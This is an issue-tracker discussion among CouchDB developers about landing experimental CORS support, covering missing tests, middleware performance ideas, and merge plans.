          Benoit Chesneau added a comment - 1. I am not sure it' s needed as well. Though I noticed (it should requires real benchmarking) that using vhost + cors + rewrites introduced some delays on a busy node. To solve that I would like to introduce the notion of middleware. A middleware would take a request and possibly return it with new properties or just as is. It would also have the possibility to stop the request. The point here is to reuse the code between vhost the rewriter and the cors thing so we will be faster and cleaner (by caching some properties and other things like skipping the recreation of Mochireq or removing some ugly thing we do with headers during rewriting behind a vhost). It could possibly be used for auth and routing too. I have some test code around but nothing to show yet. I do think that we shouldn't release without that change. 2. I have some questions on some naming also the way the headers are applied. I will elaborate further on that patch later this week. 3. Will provide that, 4. Which tests are missing for you ? Do you want to test all cases ? Maybe we could simplify the test by passing different headers and expected response as a list.
          Hide
          Jan Lehnardt added a comment -

          1. Pretty much agreed that if this takes a serious hit, we should redesign it properly, and that is totally out of the scope of this ticket.

          1.1 A new thought, maybe we ship this as "experimental" CORS support, so we get people to use it and test and everything, and that we can make solid for the next few releases?

          2. & 3. Cool, thanks!

          4. via test/etap/231-cors.t:

          % TBD
          % case-sensitive mismatch of allowed origins should fail
          % auth with * Origin should fail
          % test all cors with vhosts
          % test multiple per-host configuration

          That are only the ones I could pick up on my very first review. There are a number of variants of the code path and different configurations that are not covered with these (we have make cover` to make sure). I just want to make sure this is solid.

          Show
          Jan Lehnardt added a comment - 1. Pretty much agreed that if this takes a serious hit, we should redesign it properly, and that is totally out of the scope of this ticket. 1.1 A new thought, maybe we ship this as "experimental" CORS support, so we get people to use it and test and everything, and that we can make solid for the next few releases? 2. & 3. Cool, thanks! 4. via test/etap/231-cors.t: % TBD % case-sensitive mismatch of allowed origins should fail % auth with * Origin should fail % test all cors with vhosts % test multiple per-host configuration That are only the ones I could pick up on my very first review. There are a number of variants of the code path and different configurations that are not covered with these (we have make cover` to make sure). I just want to make sure this is solid.
          Hide
          Benoit Chesneau added a comment - - edited

          +1 for any experimental release now (it's disabled by default anyway). It is used on rcouch by some without any problem.

          Show
          Benoit Chesneau added a comment - - edited +1 for any experimental release now (it's disabled by default anyway). It is used on rcouch by some without any problem.
          Hide
          Ryan Ramage added a comment -

          +1 for experimental release. CORS will be shipped off by default. Just enabling it will what most people want, without the exposed headers and the multiple ports per host configuration. Those can be added in 1.4 with the improved middleware benoit is proposing.

          Show
          Ryan Ramage added a comment - +1 for experimental release. CORS will be shipped off by default. Just enabling it will what most people want, without the exposed headers and the multiple ports per host configuration. Those can be added in 1.4 with the improved middleware benoit is proposing.
          Hide
          Octavian Damiean added a comment -

          +1 for an experimental release.

          Show
          Octavian Damiean added a comment - +1 for an experimental release.
          Hide
          Jan Lehnardt added a comment -

          Alright, new try, as 1.3.x is still on hold and the overwhelming +1 on marking this experimental.

          I added tests as outlined before (4.).

          I rebased the exposed headers branch accordingly, this still needs a review. anyone will do, it is basically just a function.

          I’d now be comfortable shipping this in 1.3.0 as EXPERIMENTAL (with or without the exposed headers patch, pending review & availability on 1.3.x closure.

          Show
          Jan Lehnardt added a comment - Alright, new try, as 1.3.x is still on hold and the overwhelming +1 on marking this experimental. I added tests as outlined before (4.). I rebased the exposed headers branch accordingly, this still needs a review. anyone will do, it is basically just a function. I’d now be comfortable shipping this in 1.3.0 as EXPERIMENTAL (with or without the exposed headers patch, pending review & availability on 1.3.x closure.
          Hide
          Jan Lehnardt added a comment -

          Benoit mentioned on dev@ that it’d be nice to avoid the lowercasing of headers with hte exposed headers stuff, and my commit here does that now:

          https://github.com/janl/couchdb/commit/7b7f76a54461fe73577d56c53f30cc8a3f200036

          Current plan of action:

          1. merge the above into the 431-feature-cors branch
          2. squash the 431-feature-cors branch into a single commit + whitespace
          3. cherry pick the commits into master
          4. cherry pick the commits into 1.3.x

          Show
          Jan Lehnardt added a comment - Benoit mentioned on dev@ that it’d be nice to avoid the lowercasing of headers with hte exposed headers stuff, and my commit here does that now: https://github.com/janl/couchdb/commit/7b7f76a54461fe73577d56c53f30cc8a3f200036 Current plan of action: 1. merge the above into the 431-feature-cors branch 2. squash the 431-feature-cors branch into a single commit + whitespace 3. cherry pick the commits into master 4. cherry pick the commits into 1.3.x
          Hide
          Jan Lehnardt added a comment -

          The squash commits:

          https://github.com/janl/couchdb/compare/janl:master...janl:squash-cors

          Note that the whitespace changes are a separate commit.

          If I could get a +1 each from Benoit and Robert Newson, I’m happy to do parts 3. and 4. from my previous comment.

          Show
          Jan Lehnardt added a comment - The squash commits: https://github.com/janl/couchdb/compare/janl:master...janl:squash-cors Note that the whitespace changes are a separate commit. If I could get a +1 each from Benoit and Robert Newson, I’m happy to do parts 3. and 4. from my previous comment.
          Hide
          Benoit Chesneau added a comment -

          +1 let's the optimisations for later.

          Show
          Benoit Chesneau added a comment - +1 let's the optimisations for later.
          Hide
          Robert Newson added a comment -

          +1 to the squash commits

          Show
          Robert Newson added a comment - +1 to the squash commits
          Hide
          Jan Lehnardt added a comment -

          Landed, thanks everyone!

          Show
          Jan Lehnardt added a comment - Landed, thanks everyone!

            People

            • Assignee:
              Benoit Chesneau
              Reporter:
              James Burke
            • Votes:
              18 Vote for this issue
              Watchers:
              15 Start watching this issue

              Dates

              • Created:
                Updated:
                Resolved:

                Development